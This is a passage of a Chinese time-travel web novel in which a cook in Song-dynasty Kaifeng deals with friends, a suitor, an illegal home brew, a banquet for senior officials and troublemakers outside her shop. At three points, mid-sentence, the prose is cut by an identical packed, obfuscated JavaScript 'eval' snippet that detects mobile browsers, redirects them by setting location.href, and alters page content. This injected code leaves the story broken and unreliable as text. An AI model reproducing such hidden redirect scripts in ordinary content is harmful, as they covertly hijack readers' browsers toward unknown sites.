温如玉展示这一本本书册，因为本代雕版印刷逐渐开始普及，这几册书籍总价不超一贯钱。 许苏苏前段时间无聊，自是打听过坊刻本书籍价钱，立刻就要去屋子里拿钱给温如玉。 “不用。” 温如玉拒绝，“这不是我买来，是恩师所赠。” 他笑道，“我向恩师询问何处有卖此类书册，他便从自家书房拿了这些。” 五本书，五百文。 许苏苏感到为难，“怎好叫老人家破费呢？” 温如玉却笑了。 “恩师说，女子愿意读书识字，将来也能聆听圣人教诲。” “所以让我用这几本书教你识字，待到日后，他在京城授课，你便要去。” 许苏苏先是惊讶，这样的时代还会有支持女子读书的人，随后更加惊喜，温如玉的恩师是戚同文先生的好友，一位隐世大儒。 “倒是温大哥给了我一份好机缘。” 许苏苏为温如玉斟上一杯刚熬煮好的热姜茶，示意温如玉赶紧喝下。 温如玉看了看屋外连绵不断的雨滴，很郑重地说道。 “苏苏，若不是你教我说出那句话，我怎会被文先生看重。” 温如玉人如其名，是个温润如玉的端方君子，尽管生在山村中，有一对刻薄兄嫂，但是刻苦努力，积极向上，是西杨村许氏宗族学堂中最用功的那一个。 而两人都是被尊长为难的小苦瓜，一来二去，自然会凑到一起玩耍。 在温如玉因为偷偷给许苏苏塞食物挨打六次后，许苏苏教给了温如玉一句话。 “温大哥，若是有一日你能加入好书院，面临考核，老师询问你为何读书时，就说这句‘为天地立心，为生民立命，为往圣继绝学，为万世开太平。’” 这是许苏苏第一次使用穿越者身份这一金手指，也是最后一次，在一个十四岁的少年面前。 尽管那很危险，但是许苏苏收获了一个足以交托后背的朋友。 温如玉未询问许苏苏这句话的来历，而是很认真地对她说道，“多谢苏苏妹妹，我会把握好这份机缘，来日必有所报。” 然后温如玉真的开始尝试将这句话融会贯通到学习当中，横渠四句仿佛打开了温如玉心中一扇关于理学的大门，由是他对儒家经义的理解日益精进，在应天府书院应试时一鸣惊人，成为那位大儒的关门弟子。 “啊，温大哥，机会都是自己把握的。” 若不是温如玉刻苦读书，每日走几十里山路到邻村一位致仕官员开设的学堂求学，也不会在应天府书院考核中一鸣惊人。 许苏苏仅仅给了温如玉一块敲门砖而已。 而温如玉已经回报了这块敲门砖等价的东西，冒着被族长抓住打死的风险将许苏苏带出西杨村。 “你我之间，说这个生分。” 最后，许苏苏总结道。 旧友重逢，生意火爆，除却柳记烧麦店的恶心事，许苏苏觉得生活如意，莫过如此。 钱希祎却表现得十分奇怪，尤其当许苏苏说温如玉要教她读书识字时。 并非是觉得女子不可读书认字，钱希祎只是见到每日来到许苏苏店中的温如玉，总觉失落。 “二甲第四名，加上座师赏识，应当授临近望县县令之职。” 钱希祎显然生出了属于自己的小心思，再次见到温如玉往来于许苏苏小店和家中后，装似不经意地问道。 “啊，这个我也不清楚，温大哥说他应当是留在京城了？” 许苏苏听不懂官场上那些门道，但知道温如玉应当是留在京城做了个九品小官儿，听说很得上峰赏识，就连房子也是上官担保租赁。 “是，是吗？” 钱希祎怅然若失，回到家中后，也没兴趣同族兄弟们一道玩蹴鞠，就窝在屋子里闷闷的吃点心。 “大郎？” 他的养母走进来，端着一壶酒。 “快来，这可是你爹从宫中带回的好酒。” 钱王三子钱惟替，正是钱希祎的养父。 “爹从地方上回来了？” 钱希祎惊喜道。 “正是呢。” 钱三夫人笑着推推长子，“还躲在这儿吃闷酒？同你爹请安去。” 钱希祎兴致冲冲来到正厅，看到养父和祖父正对坐饮茶，说些京中局势。 “大郎，近来可好？” 钱惟替询问。 钱希祎笑了笑，“回父亲的话，儿子没闯祸。” 钱惟替哈哈哈笑起来，也顾不得父亲就在身边，走上前去拍了拍养子的肩膀。 “二郎和三郎都很想你。” 说罢，顿了顿，“爹也很想你。” 钱希祎笑起来，此前的阴郁一扫而空。 “儿子去看看二郎、三郎。” “很不必，哪有哥哥去看弟弟的道理，待会儿我让他们来寻你。” 钱惟替说道。 古板守旧的钱家三子，最看重规矩，钱希祎虽心疼两个弟弟舟车劳顿，到也不能违逆父亲。 “你结交了一名女子。” 钱希祎尴尬起来，“是，许娘子是我好友。” 虽说无论是在吴越，还是在大宋，钱家都是公卿贵族，钱惟替却没有许多上尊下卑的观念，他所修的学问，只讲究人伦和君臣父子。 “很好啊，大哥同我说过，多亏了那个，许，许娘子。” 因为父亲的病，钱惟替在地方任上焦急到食不下咽，连上五六道折子，耗费许多金银，很是走动了几个内侍方才得到回京城看望父亲的机会。 得知父亲因许氏奉菜，竟渐渐能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547497|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用得了饭，也能吃进去药，钱惟替回到京城就要亲自去感谢那位许氏许娘子。 钱希祎将两人相熟始末一一告知父亲，并解释为何许苏苏要为祖父献菜。 “不以贫贱而看轻别人，文盈做得好。” “许娘子因你这至交好友情谊，忧心你尊长身体，有古之贤女、义士之风” 有时，士大夫们反而是封建时代最不封建的那群人，当听说钱希祎对许苏苏有意时，第一反应竟是莫要败坏小娘子名声，省的日后旁人说钱家儿郎是什么花花太岁，混账种子。 “父母之命，媒妁之言，怎可如此呢？”· “我瞧着大郎喜欢的紧，每日下值就往那儿跑，时常给许家娘子带许多宫中新奇玩意儿。” “对了，还帮着许家娘子解决了一桩官司。” 钱家三位年长的兄弟讨论到。 “这有何妨？” “大郎爹娘没得早，顺了他的心意又能如何？” “可总得娶个高门贵女？一平民女子，娶来惹人笑话呀。” “夫荣妻贵，只要大郎争气，咱们钱家不倒，就算娶个商家女，照样腰杆挺得直。” 钱惟替捋捋胡须，“大郎身世可怜，咱们能顺着他的心意，便顺着他的心意，更何况父亲观许娘子品行，是样样都好，在官家面前尚能应对自如，既无什么劣习，也无什么品行不佳的亲族。” “唉，爹还说咱们，孩子们的事少管。” 钱惟治笑道，“爹是说，有他老人家在，很不必咱们几个当家作主呢。” 三兄弟哈哈哈笑起来。 钱希祎对此浑然不知，他正陪小妹妹玩蛐蛐儿。 “年年。” 钱希祎越想温如玉和许苏苏熟稔到自己无法插足的氛围，越觉得气愤。 “大哥哥，你怎么了？” 小名叫年年的女孩儿只有六岁，是钱希祎养父家最小的孩子。 “若是，若是有一个人。” 索性小孩子什么都不懂，反倒是能倾诉的对象。 钱希祎将自己的愁绪说给小妹听，小妹却咯咯咯笑起来。 “哥哥喜欢姐姐” 小女孩儿拍着手掌笑道。 “就像，就像。” 小女孩儿说了半天，也没想到能作例子的人是谁，小孩儿的脑袋小，装的事情也少，于是咯咯咯笑个不停，只说哥哥喜欢姐姐。 钱希祎脸色涨红，“年年，不许说了。” 一直以来朦朦胧胧的心事被幼妹捅破，钱希祎第一反应竟是恼羞成怒。 气得背过身去，和小孩儿开始置气。 “再说，我便不和你玩儿蛐蛐儿了。” “陪我玩，陪我玩。” “哎呀，大郎，怎么还和年年生气。” 钱三夫人无奈道，“快哄哄小妹妹，没见到这小家伙要哭了么？” 钱希祎无奈地将马上开始哭闹的幼妹抱到怀里，带她去房间里吃些蜜糖。 “哥哥为什么喜欢姐姐？” 幼童似乎对大哥哥的私事非常感兴趣，睁大水汪汪的眼睛，一定要问个清楚，尽管在她的观念里，喜欢就是小伙伴们一道玩耍的那种喜欢。 16. 酿蜜酒 阴雨绵绵，许苏苏只得呆在家中清闲度日。 她去过一次店中，人流稀少，半日的光景只卖出两三碗馄饨和十五六只烧麦，本约定来许记吃炒菜的客人也因阴雨将上门日期推迟。 索性给阿武和杏儿放几日雨假，为防止阿武和杏儿囊中羞涩，放假前，许苏苏每人多结一百六十文工钱。 “偷得浮生半日闲呐。” 许苏苏自己便是一等一出色的厨娘，家中各种材料齐备，自是不缺少美味吃食，因阴雨绵绵，天气凉爽，许多食物保存的期限稍稍延长，许苏苏竟连门子都不用出，专心在家宅着研究美食。 这里是悠闲度日，那里是愁肠百转，钱希祎这人，平日里贯是没心没肺，无论遇到什么事都不会纠结忸怩，可到了终生大事上，也难得的体会一把倒说愁，愁更愁，却是天凉好个秋。 钱希祎记忆里唯独有一次，是如今这样百般情绪交加的光景，前年在邓州遇袭，他们为保护祖父，死了五六十个兄弟，其中不乏有在吴越时就一同玩耍的好友至交。 一场惊天动地的大案，以推崇儒学的官家杀得人头滚滚和钱王从邓州回到京城永居为结束，也以钱希祎决心苦练功夫、赡养袍泽家人为开始。 “大郎，你在愁什么？” 钱惟替即将回到任上，收拾行囊时看到大儿子在门槛上坐着发呆，于是询问道。 “没什么，父亲。” 钱希祎摇摇头，准备起身去房中给父亲拿自己去大相国寺求得的护身符。 “我家大郎，心志坚定，意志坚强，无论何时都不会如此作态啊。” 钱惟替突然说道。 钱希祎脸上更加为难，总不能说自己因小儿女心事方才坐到门槛上愣神吧。 “大郎，无论何时，从心而动，不逾矩，便是君子所秉持的煌煌正道了。” 钱惟替笑起来，钱希祎三岁时被送到他身边，由他和妻子亲自抚养，现在他在想什么，钱惟替大概能猜到。 “发乎情，止乎礼。” “我钱氏乃东南大族，不可出仰仗身份欺辱良家的孽障。” 钱家作为节度使屹立东南近百年，如今入宋更是顶级公卿，在先帝和当今都推崇文学时，自然会筹谋转型诗书传家的清贵士族。 钱希祎本该与兄弟们一样，被家族塞进某一书院，读书入仕。 奈何天生不是这块料子，钱家也需有子弟在军中栖身，方才跟随吴越军队编入禁军。 钱惟替对长子品行处处满意，唯独害怕他因年轻气盛惹出祸端，毕竟现在长子算得上皇帝近臣，一举一动都要谨慎。 “儿子知道。” 钱希祎心中百般纠结情绪如一团毛线，剪不断，理不清，可现在父亲隐隐透露出的支持却让他有了一份坚定。 “啊呀，大郎，这天气不在家歇息，出去做什么？” 撑着伞的钱希祎回头笑道，“去访友。” 钱三夫人颇为疑惑，钱惟替却笑着抚了抚妻子的肩膀，将她推进屋子里。 “是好事呢，让大郎去罢。” 钱三夫人面带疑惑地将儿子送走了。 “苏苏，苏苏。” 许苏苏听到声音，打开院门。 一见到是钱希祎，立刻高兴起来。 “呀，钱大哥，说曹操曹操到，我正念叨你呢。” 钱希祎放下伞，挤进院门，好奇到，“苏苏在念叨我什么？” 许苏苏示意钱希祎先去廊下坐着，这时钱希祎方才看到，许苏苏不知从哪里弄来的煮茶小炉，上面是一张铁网，下面是一只炭盆，许苏苏应当用了上好的炭火，钱希祎坐到旁边，丝毫不见烟雾。 那长柄烹茶壶里咕嘟咕嘟，钱希祎观其微褐颜色和里面浮浮沉沉的红枣、枸杞和干桂花，想到这兴许又是许苏苏研制的新奇食物。 铁网上炙烤的栗子、李子和梨子倒是常见，钱希祎不免要笑了。 “冬天才吃这个吧？” 许苏苏端来一小盘螃蟹，“近日天气寒湿，钱大哥不妨吃一壶奶茶，尝一点烤栗子。” “可有酒？” 钱希祎目露些不赞许神情，“苏苏，天寒吃蟹对脾胃哪里好呢？” “配上一壶热酒吧。” 许苏苏微微一愣，“些许螃蟹，怎得就使我脾胃不和？钱大哥若想喝酒，有我自酿的蜜酒，我给你拿来。” 许苏苏从屋子里找了找那刚刚从树底下挖出来的蜜酒，这东西是她在行老宋芳家中书谱学得，身为格外喜爱钻研饮食的人，总是手痒，这一坛是悄悄酿来自己喝的。 其实因见了酿酒秘方，怀念现代时数不尽的花果酒、鸡尾酒等酒类，许苏苏一口气酿了六坛，埋在树下。 “怎得连这个都敢酿？” 钱希祎一惊，随即去看院门和墙上、邻家是否坐着人。 “苏苏，你也太大胆了些。” 许苏苏在小乡村，消息闭塞，自己更是‘大字不识’，本朝又没有后世那位太祖一般推行律法，《宋刑统》上对私人酿酒的严苛惩罚，许苏苏全然不知，于是懵懵懂懂看着钱希祎，不知自己做错了些什么？ “苏苏，你。” 钱希祎几乎要被许苏苏的大胆气笑。 “明日我带一本《宋刑统》来，叫你用那个识字。” “这，这是要？” “私造酒曲者，城郭内徒三年，乡村徒二年；私酒入城三十斗，刺配五百里。” 许苏苏差点把怀里的酒坛子弄掉，“这这。” 随即，许苏苏开始庆幸。 “幸好除了钱大哥你，我还未曾泄露过我酿了酒的事情。” 这算不幸中的万幸，钱希祎接过酒坛，拿起一只闲置的煮奶茶壶放到铁网上，倒进去金黄透亮的酒液，“愣着做甚？还不来吃酒。民不举官不究的，怕什么。” 只是叮嘱她，“偷着喝，别叫人知道。” 许苏苏连连点头。 “螃蟹不错。” 被完美剥离的蟹壳中装着蒸过的蟹肉，许苏苏应当是加了鸡子蒸制，加上一点从农人那里买来的蜂蜜和些许酸甜李子果肉，蟹肉的鲜甜、蜂蜜的润泽和李子酸甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549737|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的风味在蒸制过程中完美融合。 饶是吃惯家中厨娘精致菜式的钱希祎，也不由得为此菜叫好。 因着不是秋日，许苏苏为了有蟹味儿，特地选择膏蟹取蟹膏放置到蟹肉之上，明亮的色泽和鲜甜的蟹味儿，就是让人一见都眼前一亮。 “钱大哥觉得，我以此菜为一位大人席面添彩，可行否？” 偌大四只蟹，不到一会儿就被两人吃光。 “苏苏可要到人家家中掌勺做菜？” 许苏苏笑了。 那是自然，许记炒菜的名声现在是朝野公卿尽知，尤其当曹彬四处宣传自家陪官家、钱王到民间一小户人家品尝美食，许多位高权重的公卿，对许苏苏厨艺到底有多好十分好奇。 正值雨天，一位使相要设宴请好友一道赏雨吃酒，便尝试着差人来询问许苏苏，可否能赏脸到府上掌勺？ 许苏苏一升斗小民，怎好拂了使相面子，再加上小店人流稀少，许苏苏也想找个活计，总不能雨一下大半月，她大半月歇息着。 苦过的人，是决计不会坐吃山空的。 明日，正是许苏苏前往那使相家中的日子。 今日可不就得琢磨几道能镇得住场面的菜式。 钱希祎听了事情始末，格外赞赏许苏苏此举动，“苏苏，你将来是要开大酒楼的人，此时在公卿中积攒名气，是极好的一步棋。” 许苏苏被钱希祎的畅想逗笑，“钱大哥，我现在只有一处能放下三张桌子的小食肆，那大酒楼离我着实遥远了些。” “以苏苏的厨艺，将来莫要说樊楼、潘楼的大师傅，我瞧着尚食局也须得逊色几分，届时官家说不定要招你入宫中，做个御前的厨娘呢。” 许苏苏被钱希祎这颇具武人味道的话语逗笑，哈哈哈的笑个不停。 钱希祎以为自己说了什么蠢话，摸了摸脑袋，“啊呀，我是粗人，不爱读书，肚子里没什么墨水儿，你莫笑我。” 许苏苏赶忙止住笑声，正色道。 “钱大哥，切莫妄自菲薄。” 许苏苏笑叹道，“仗义每多屠狗辈，负心多是读书人，谁说粗人便没有些优点长处？” “此话说得好！” 钱希祎为许苏苏叫彩，这明清时方才有的俚语、俗语，能在后世流传如此广泛自是有其原因。 “舞阳侯昔年为屠狗人，后随高祖皇帝定鼎天下，不正是应对此语。” 钱希祎眼中异彩连连，但过了一会儿，又叹息道。 “奈何经五代之乱，无论先帝还是官家，都称赞读书人品行，盼望天下崇尚儒学文道。” “咱们这些军中的汉子，倒是落了下乘。” 此话虽无抱怨意思，但是钱希祎想到自己乃是个军中厮混粗人，哪日起兵戈，说不准要把命丢在疆场上，温如玉那等读书人比起来，着实是天差地别，便闷闷不乐起来，拿过酒壶痛饮一杯，不再言语。 可许苏苏却有些不同意见，那是来自后世的观念。 “若无钱大哥一般的人奋战疆场，何来我们这些人安稳日子过呢？” 17. 私人宴席 钱希祎听到许苏苏的话，笑了笑，又叹息道。 “可自家人知自家事，军中的汉子叫人看不起，那也是有原因的。” “昔年先帝内弟，掳掠民女，残虐食人，后又有崇义军节度使掳掠民女。” 钱希祎叹气道，“五代风气，哪里是一朝一代能正得过来？” “别的不论，你和那温公子见到我时，不也口称军爷，战战兢兢吗？” 许苏苏为钱希祎斟酒，“要到疆场上送命的是你们，又不是我们这些平头百姓，至少坐着说风凉话这事儿啊，我干不出来。” 钱希祎大笑，被许苏苏这诙谐语气安慰到。 随即试探着询问到，“苏苏将来要寻良人，会寻个什么样的？军中的汉子，还是读书人？” 许苏苏略有惊讶，不知钱希祎为何突然问起这个，现代时好友之间询问婚嫁之事是平常，到了宋代也是如此吗？但想到两人关系，以及钱希祎为人，便笑着回答道。 “允我只生一两个孩子，是个厚道人便可以了。” 见钱希祎似有不解，“就这么简单？” 许苏苏闻言大笑起来，“钱大哥，我们这些人，嫁个不打骂老婆的忠厚老实人，便是最好的出璐了。” “只生一两个孩子，至少能减少些患上产病的可能，省的死在产床上。” 许苏苏转而有些悲伤，“死在产床上，多冤呐。” 钱希祎愣住了，妇人生产便是一道鬼门关，这话世人都在说，可他并非妇人，自是体会不到许苏苏的恐惧。 世家大族以子息繁多为佳，就算是他母亲，正室夫人，也是生产了四五次的人。父亲的妾中，因妇人病死去的并非没有。 只是一想到，像许苏苏这样鲜活、干练、有精气神、似乎散发着勃勃生机的人，会在一张小榻上慢慢枯萎，死去，钱希祎就感觉到一种莫名的恐惧。 “苏苏，我定不会叫我未来妻子如此。” 钱希祎突然说道。 许苏苏很惊讶，随即又想到。 “钱大哥是公子哥，将来会纳妾，应当不用让正妻频繁产育。” 钱希祎又生气了，“纳什么妾？我若喜欢上一人，此生定是要一心一意对待她一个，若是，若是。” 钱希祎想了想，“若是频繁生产伤的是我妻身体，我便去喝避子汤！” 这着实有些惊世骇俗，尤其是这样的时代，无论男女为了不生孩子喝避孕的汤药，对于宗族而言，都是一种极大的‘恶行’。 许苏苏吓了一跳，“千万别对着钱王殿下说这个，当心他请来家法锤你。” 钱希祎憨笑起来，“锤就锤，老婆最大。” 许苏苏无奈极了，“谁若是嫁给钱大哥，可当真是前生修来的福分。” 钱希祎脸色涨红，尽管每日操演风吹日晒的麦色脸上看不出什么，可耳朵红的要滴血。 “啊呀，说这个干什么？” 许苏苏没发现他的异样，但钱希祎只觉哪儿哪儿都心虚，于是拿出一只小盒子，递给许苏苏。 “苏苏，这是我爹和大伯给你的谢礼。” 许苏苏打开木匣子，发觉里面是一小块儿碎金子和三对小巧的耳饰和一只银戒指。 “这是吴越一位大匠人遗作，本是祖母昔年穿戴过，又给了伯母们的，大伯感念你那本食谱和小菜、饭食让祖父能用饭，身子好转，因此做主赠给你这几件伯母不戴的饰物。” “碎金是父亲的谢礼。” 说完，就顶着雨匆匆离开，火烧火燎的，十分着急。 钱王家人，当真有君子之风。 许苏苏观察这几件首饰，都是前代流行纹样，没什么许苏苏不能穿戴和犯忌讳的，样式朴素可爱，正适合她这种身份。 许苏苏摸了摸耳朵，“打耳洞么？” 她回忆起了刚刚高中毕业时，和妈妈一起去打耳洞的经历。 “还真是，有些想家了啊。” 阴雨绵绵的天气应当会持续很久，至少第二日登上那位宰执家马车时，雨还在下。 “好家伙，老张，你是将许娘子请来了么？” 张齐贤得意洋洋，“官家那次回去同我炫耀，我便想着见识见识许娘子厨艺。” 这老家伙，真有钱。 曹彬挤开老友，凑到那螃蟹跟前夹起一筷子，放到嘴里品尝。 “此种风味，我只在泉州品尝过。” 潘美评价道。 “但许娘子此道菜，完胜泉州大厨师。” 他们大加赞赏的，正是蟹蒸蛋。 见了满桌子精致菜肴，早觉得请许苏苏来当真是件涨面子的事儿。 此刻宾客们一个个埋头苦吃，倒又让他无奈。 “我说，咱们饮酒赏雨作乐，怎得一个个光顾着吃了？” 石守信上了年纪，更是不爱这些个文人唧唧歪歪伤春悲秋之事，“安心吃你的饭去，待会儿凉了可怎生是好？” 这老将，正专心啃面前偌大一个冰糖肘子呢。 “副都指挥使，你不是要崇佛？怎得还吃这大肉？” “啊呀，崇佛的事儿，改日再说。” 他捅咕捅咕正挑拣鸡丝粥的曹彬，“这许娘子的店开在何处？来日你带我去啊。” “好说好说。” 一顿饭吃得诸位半退公卿满头大汗，谁都不肯让谁，最终一群老家伙只得撑着肚子慢慢步行回家去，好消消食。 一共三百贯钱，一百五十匹绢，许苏苏清点张家送来酬劳，对本朝厨娘的工钱丰厚程度咋舌不已。 “师父，您老能不能。” 来到宋芳家中，许苏苏苍蝇搓手手，把背篓里两匹绢放到宋芳家正厅的桌子上。 “说罢。” “你能为我打听打听，我那小店邻家店铺多少钱售卖么？” 宋芳抖动胡须，“可有坊郭户身份了？” 许苏苏点头，自柳儿的烧麦店开设起，厢主的名声一日赛着一日的坏，同僚们都不大爱和他往来，自是要在自己这儿找补一下，表示自家非势大欺人的人家，厢主自己也叫苦不迭。 这儿是京城，随便丢块砖头下去都能砸死五品官，自己这平日里修缮城墙、开挖河道的壮城军军主算哪个牌面上的人，别的不说，就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551746|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封淮海国王的钱家，他就招惹不起。 宋芳见状，笑道。 “凭我的面子，应当能给你便宜个二三十贯钱。” 许苏苏早就关注邻家店铺，尤其当许多客人都抱怨过食肆太小，伸展不开手脚后，她便开始筹谋扩展食肆规模，还是换一家大的店面。 州桥着实是个好地方，若非必要，许苏苏不想搬店，口碑积攒开，此处正是她的摇钱树呢。 那便扩展食肆规模，许苏苏四处打听了，邻家也是饮食行当里的人，正在一位大人家做厨子，此处的店铺是儿女在维持。 “那是刘家小子，我同他去说。” 宋芳想了想，答应下来。 自己收的这小徒，天分高，人勤恳，心地善良。 说实话，宋芳也想和樊楼那老家伙争一口气，看看自己能不能养出个东京第一厨娘。 “好说好说。” 刘家人十分热情，宋芳带着许苏苏去了一趟，便要和他们一道去办文书。 原来刘家人要到杭州去投奔一位开了酒楼的亲人，正发愁房屋该怎么办呢。 瞌睡就来送枕头，许苏苏这五百贯正好让刘家人掺一分干股到那位亲人酒楼，也不必寄人篱下。 “京城居，大不易啊。” 刘家当家的感概到，“一日七百文，竟也维持不了全家生计。” 原来是因为京城的高物价，迫不得已远走的人家。 看了看刘家站成一排的七八个孩子们，许苏苏无奈，一个孩子一日衣食住行耗费三十文，男孩子吃得多了要多花费五六文，仅仅是养育孩子就得支出两三百文，还不加其余杂项。 攒不下钱，自是正常。 这也更坚定了许苏苏优生优育的决心，若是自己当真嫁给一朴实人家，把握住丈夫，最多只能要两三个孩子。 在宋芳指点下，许苏苏没有荒废这段‘装修’日子，而是依靠宋芳人脉，到朝中大人家中做席面，在宋芳教导下，许苏苏适度改革菜式口味，创新出好几道令人惊艳菜式，这几次席面，彻底打响许苏苏名声。 待到阴雨季节过去时，许苏苏的小店便重新开张。 这一次，早餐、午餐和晚餐都有了专门的灶台去做，不必因灶台不够浪费许多等待时间。 “这可是整整十五张桌子。” 钱希祎和一个袍泽到许苏苏店中时，大为惊诧。 “苏苏，这店中的陈设布局，可是有高人指点？” 许苏苏笑着点点头，“师父亲自来了两趟，指点我如何铺陈店子模样。” 小店的正门处左右共设着两对博古架子，上面摆的不是古董书册，而是米麦黎黍，各种豆类。 进了门，一边墙壁上挂着农诗、农人锄禾图，一边墙壁上是本店特色菜式的放大版菜单，钱希祎细看去，那菜单原是请人写在一张画儿上，在纸张的边边角角，有童子、童女、仙鹤等吉祥纹样。 柜台不高，正是许记原本的小柜台改的，上面摆着一只招财进宝的三彩蟾蜍。 钱希祎打量小店，只觉得处处简朴可爱，十分适合许苏苏性格和小店所售食物。 18. 板儿、闹事者 许苏苏打了耳洞，今日戴着一对儿月牙似的耳环，头上包着一块青色头巾。 钱希祎和那位袍泽落座时，她刚巧从后厨走出，询问阿武客人点了什么菜。 “苏苏。” 钱希祎叫道。 许苏苏笑起来，走到他们身边，拿着一张菜单询问。 “钱大哥，这位军爷，看看点什么菜？” 今日随钱希祎来的，是他的都头，也是一二十来岁的青年，家中厨子的菜吃烦了，出来吃个零嘴儿，正巧许苏苏在京中声名鹊起，自是央求钱希祎带他来品尝品尝这许娘子手艺。 “三鲜烧麦、炖羊肉、红烧肉、槐叶冷淘、腌胡瓜、百合梗米粥、这猪蹄给我们来两只。” 许苏苏连忙记下，交给一个年幼的小伙计放到后厨。 钱希祎一看那小伙计，乐了起来。 “苏苏，这又是你从哪儿捡来的女娃娃？” 许苏苏看了看跑到后厨的小伙计，叹息道。 “花了五两银子，从她爹那儿聘来的。” 这不过十岁的小女孩儿，相较于柳儿和杏儿，更有一可怜身世。 爹是个赌鬼，娘早亡，若非家中临近宋芳，是个邻家，前几日就不是被送到许苏苏小店中当伙计，而是被送到勾栏里做勾栏主人的养女。 宋芳可怜这样一个小女孩儿，因一个丧尽天良的爹，平白惹来这场祸端，呵斥了那挑唆引诱的勾栏主人，考较小女孩儿人品后，做主送来许苏苏这里。 一日五十文，提供个落脚的地儿，做个跑腿传菜的小伙计。 许苏苏新店开业，正是缺人手时，自无有不应的。 “这女孩儿叫什么？” 那都头询问。 “叫板儿，说是孩子娘死前怕孩子命数不长，特地取了个贱名儿。” 钱希祎笑笑，“怎好叫这种名字，她爹没请人取大名？” 许苏苏沉默了，两人随即反应过来，都落到要卖女儿的地步，哪里有那个闲钱请秀才给孩子取好名字？ 就在说话的功夫，阿武将三鲜烧麦、百合梗米粥送来，许苏苏也表示自己要去操持后厨，请两人先用这些。 “老钱，这许娘子人倒是心善。” 都头笑道。 “赌鬼的爹，可是个麻烦，她一孤身在东京城求生计女子，怎么会招惹这种事情？” 都头一阵见血，“就算有行老在前面顶着，总是少不了麻烦。” 钱希祎则无奈道，“苏苏很是不怕这个，前些日子那个码头上的鱼霸牛儿，不就被她打进开封府衙门？” “咳咳咳，原来是菜刀娘子。” 都头险些将嘴里的米饭喷出来，菜刀娘子的诨名，可是禁军们都听说，他们这些天子近臣私下还津津乐道京城怎出了这么一号人物。 “这名人，原是你至交好友？” “咳咳，已经不是至交。” 钱希祎小心在他耳边耳语道，“乃是我心悦之人。” 都头更乐，也小声说道，“心悦之人？” “钱老大你疯了吧？” 这都头显然也是世家公子，“你娘正给你相看合适人家，你说你有这么个心悦之人？” 钱希祎挑眉道，“我爹同意了。” “钱公大抵是觉得，你只是一时脑热，过段时日就清醒罢了。” 都头显然有不同意见。 “祖父说了，我家孙辈娶妻，不看重门第，富贵至极，还要奢求什么？” 都头想了想近年来朝中局势，钱家境遇，便赞叹道。 “钱王睿智，我家尊长不及也。” “不过那许娘子可心悦于你？” 钱希祎尬住，“这，这。” 那都头哈哈大笑，“原来是个痴情儿！” 这话说的促狭，钱希祎闷着头不说话。 两人嬉笑一番，都头也开始吃饭。 “许娘子手艺，果真名不虚传。” 他们要结账时，许苏苏特地出来相送，都头手里提着一包烧麦和一坛子羊肉，大加夸赞道。 许苏苏笑了，“您谬赞。” 因着钱希祎那张琉璃卡，许苏苏为两人打折，这些菜式一共花费一百二十文，那卡片出示后，都头惊讶的看了看钱希祎，没有说话。 两人还未走出店门，就听到门外传来哭喊声。 “好个丧良心、不要脸的小蹄子，还我孙儿的娘来。” 什么声音？ 许苏苏走出店门，看到门外躺着一个老妇人，正哭嚎着打滚儿。 “许苏苏，你个不要脸的小蹄子，和那钱家公子哥勾结，害我孙儿没了娘啊。” 老妇人的哭嚎声更大。 旁边渐渐开始围上人，有人认出了这老妇人身份。 “这是张大茂家的娘。” “上次不是来许娘子店中闹过？还来？是仗着人好欺负么？” 京中人不乏有急公好义者，见这老妇人吵闹，就要去拽起她见官。 但老妇人显然不是一人到此，见有人来拉拽妻子，她丈夫手持一条藤杖，狠狠敲在那人手上，还没等人还手，就躺倒在地上，大哭着说打人了，打人了。 许苏苏冷眼觑着，不言不语，拽过板儿，嘱咐她几句话，塞给她一点银子，就让人到前边的府衙去叫几个差役来。 还没等叫的差役赶来，钱希祎和那姓曹的班头便都怒了。 因着这老妇人言语中很是说了几句钱王家仗势欺人的话，但学聪明了，只字不提钱王如何。 “那老妇人，赶紧拽起来拉走。” 几个急匆匆赶来的差役见到这老妇撒泼打滚，本就心生不悦，但还是仔细询问究竟发生何事。可就在这时，张大茂的爹突然跪倒在地上，连连磕头道。 “钱公子。” 钱希祎皱眉，自家上次登门张家警告张大茂老实些时，没见到这老东西，他是怎么认出自己？ “您和您那外室小娘，高抬贵手，绕过咱们这些个庄稼人吧。” 曹山猛地看向那老头子，“什么小娘不小娘的，污蔑良家，是犯律法的！” 张大茂的爹却涕泪横流，膝行几步，要抱住钱希祎的腿，但是被人一脚踹开。 “接着说。” 许苏苏冷漠道，收回自己刚踹出去的脚。 差役们见状，也不好评判，污蔑良家为人外室，污蔑的是钱王家公子哥，皇帝的近臣德行有亏？ 此事着实不是 